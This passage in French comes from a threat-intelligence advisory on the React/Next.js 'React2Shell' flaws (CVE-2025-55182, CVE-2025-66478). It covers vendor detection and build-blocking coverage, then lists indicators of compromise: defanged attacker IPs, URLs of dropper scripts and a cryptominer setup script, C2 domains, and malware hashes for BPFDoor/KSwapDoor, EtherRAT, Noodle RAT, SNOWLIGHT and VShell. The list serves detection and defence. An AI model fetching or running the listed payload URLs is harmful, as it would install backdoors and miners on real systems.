Notamment, ces applications React et Next.js n'exposent pas publiquement les détails de version du logiciel, ce qui signifie que ces détections ne sont pas un indicateur fort d'une application vulnérable. Ces détections sont également disponibles pour les clients Cortex XSIAM ayant acheté le module ASM.
Cortex Cloud
Cortex Cloud fournit des capacités ASPM complètes pour identifier rapidement la portée des CVE-2025-55182 et CVE-2025-66478 à travers votre paysage applicatif. Grâce à la visibilité SBOM en temps réel, les équipes de sécurité peuvent interroger instantanément leur inventaire logiciel pour identifier les instances spécifiques des paquets React (versions 19.0–19.2) et Next.js (versions 15.x–16.x) vulnérables. Le modèle de risque opérationnel de la plateforme aide davantage à la priorisation en évaluant la santé des composants et les risques signalés. De manière cruciale, les équipes peuvent appliquer des garde-fous axés sur la prévention pour bloquer automatiquement les builds contenant ces vulnérabilités critiques. Cela garantit qu'aucune application reposant sur l'implémentation non sanctionnée ou non corrigée du protocole Flight ne puisse jamais être déployée, arrêtant efficacement le vecteur RCE avant qu'il n'entre dans votre environnement.
Prisma Cloud
Prisma Cloud détecte la présence de ces vulnérabilités critiques au sein de votre base de code, vos registres et vos environnements d'exécution. Le scanner de vulnérabilité de la plateforme identifie spécifiquement l'utilisation des paquets react-server et next affectés associés aux CVE-2025-55182 et CVE-2025-66478. Au-delà de la détection, vous pouvez configurer des règles d'application pour bloquer activement les builds et les déploiements si ces découvertes de haute sévérité sont détectées. En faisant surface à ces risques et en appliquant un seuil d'échec pour les CVE critiques, Prisma Cloud permet aux équipes d'empêcher la publication d'applications exécutant des versions susceptibles, garantissant que seuls les frameworks durcis et corrigés atteignent la production.
Indicateurs de compromission (IoC)
- 140[.]99[.]223[.]178
- 156[.]234[.]209[.]103
- 38[.]162[.]112[.]141
- 45[.]32[.]158[.]54
- 46[.]36[.]37[.]85
- 47[.]84[.]79[.]46
- 95[.]169[.]180[.]135
- 45.134.174[.]235/2.sh
- 45.134.174[.]235/solra
- hxxp://46[.]36[.]37[.]85:12000/sex[.]sh
- hxxp://115[.]42[.]60[.]223:61236/slt
- hxxp://45[.]32[.]158[.]54/5e51aff54626ef7f/x86_64
- hxxp://115[.]42[.]60[.]223:61236/slt
- hxxp://156[.]234[.]209[.]103:20912/get[.]sh
- hxxp://156[.]234[.]209[.]103:20913/get[.]sh
- hxxp://45[.]32[.]158[.]54/5e51aff54626ef7f/x86_64
- hxxp://46[.]36[.]37[.]85:12000/sex[.]sh
- hxxp://95[.]169[.]180[.]135:8443/pamssod
- hxxp://res[.]qiqigece[.]top/nginx1
- hxxps://raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh
- hxxps://sup001[.]oss-cn-hongkong[.]aliyuncs[.]com/123/python1[.]sh
- reactcdn[.]windowserrorapis[.]com
- res[.]qiqigece[.]top
- ebdb85704b2e7ced3673b12c6f3687bc0177a7b1b3caef110213cc93a75da837
- f88ce150345787dd1bcfbc301350033404e32273c9a140f22da80810e3a3f6ea
- fc9e53675e315edeea2292069c3fbc91337c972c936ca0f535da01760814b125
BPFDoor
- 140.99.223[.]178/32736
- 1f3f0695c7ec63723b2b8e9d50b1838df304821fcb22c7902db1f8248a812035
EtherRAT
- hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh
Noodle RAT
- 192.238.202[.]17
- tcp://vip[.]kof97.lol:443
- hxxp://146.88.129[.]138:5511/443nb64
- 33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f
SNOWLIGHT
- 115[.]42[.]60[.]223
- a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
- 1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665
- 18c68a982f91f665effe769f663c51cb0567ea2bfc7fab6a1a40d4fe50fc382b
- 1a3e7b4ee2b2858dbac2d73dd1c52b1ea1d69c6ebb24cc434d1e15e43325b74e
- 1cdd9b0434eb5b06173c7516f99a832dc4614ac10dda171c8eed3272a5e63d20
- 1e31dc074a4ea7f400cb969ea80e8855b5e7486660aab415da17591bc284ac5b
- 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4
- 2ca913556efd6c45109fd8358edb18d22a10fb6a36c1ab7b2df7594cd5b0adbc
- 4ff096fbea443778fec6f960bf2b9c84da121e6d63e189aebaaa6397d9aac948
- 55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864
- 62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d
- 7d25a97be42b357adcc6d7f56ab01111378a3190134aa788b1f04336eb924b53
- 7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a
- 9c931f7f7d511108263b0a75f7b9fcbbf9fd67ebcc7cd2e5dcd1266b75053624
- ac2182dfbf56d58b4d63cde3ad6e7a52fed54e52959e4c82d6fc999f20f8d693
- ac7027f30514d0c00d9e8b379b5ad8150c9827c827dc7ee54d906fc2585b6bf6
- b38ec4c803a2d84277d9c598bfa5434fb8561ddad0ec38da6f9b8ece8104d787
- bc31561c44a36e1305692d0af673bc5406f4a5bb2c3f2ffdb613c09b4e80fa9f
- bf602b11d99e815e26c88a3a47eb63997d43db8b8c60db06d6fbddf386fd8c4a
- d704541cde64a3eef5c4f80d0d7f96dc96bae8083804c930111024b274557b16
- d9313f949af339ed9fafb12374600e66b870961eeb9b2b0d4a3172fd1aa34ed0
- e2d7c8491436411474cef5d3b51116ddecfee68bab1e15081752a54772559879
VSHell
- 4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b
Ressources supplémentaires
- L'évolution de UNC5174 dans la cyberguerre en cours en Chine : De SNOWLIGHT à VShell – Blog, Sysdig
- Le retour de l'accès — Les courtiers en accès initial exploitent F5 BIG-IP (CVE-2023-46747) et ScreenConnect – Blog Google Cloud
- UNC5174 opère comme un courtier en accès initial en exploitant des vulnérabilités – Rapport de vulnérabilité Hive Pro
Mise à jour à 15h45 PT pour ajouter des mises à jour importantes. Celles-ci incluent une section sur l'activité post-exploitation et la couverture produit. La nouvelle activité couvre : le scan et la reconnaissance, le vol d'identifiants cloud, les scripts dropper malveillants, le cryptomining, le déploiement de la backdoor NOODLERAT, l'exécution de SNOWLIGHT et VShell, et l'activité liée à la Chine.
Mise à jour du 9 décembre 2025, à 14h00 PT pour ajouter des mises à jour importantes. Celles-ci incluent des détails supplémentaires dans la section sur l'activité post-exploitation. Les nouvelles sous-sections comprennent des informations sur : l'activité présentant des chevauchements avec les outils de la RPDC utilisant EtherRAT ; BPFDoor, une backdoor Linux ; et une nouvelle variante Auto-color (une backdoor Linux). Mise à jour de la section Indicateurs de compromission. Ajout d'une nouvelle signature Threat Prevention.
Mis à jour le 10 décembre 2025 à 13 h 30 PT pour ajouter une sous-section sur les tentatives d'exploitation React2Shell dans la section Activité post-exploitation. Ajout de la couverture et des informations relatives aux playbooks Cortex XDR.
Mis à jour le 11 décembre 2025 à 13 h 30 PT pour ajouter un script à la sous-section sur les tentatives d'exploitation React2Shell dans la section Activité de post-exploitation. La formulation concernant Cortex Xpanse a été modifiée.
Mis à jour le 12 décembre 2025 à 13 h 40 PT pour modifier la formulation concernant l'attribution à CL-STA-1015 et remplacer le nom BPFDoor par KSwapDoor avec des détails supplémentaires.
Mis à jour le 15 décembre 2025 à 14 h 00 PT pour ajouter une mise à jour sur KSwapDoor à la section Résumé exécutif. Petites modifications apportées par souci de clarté.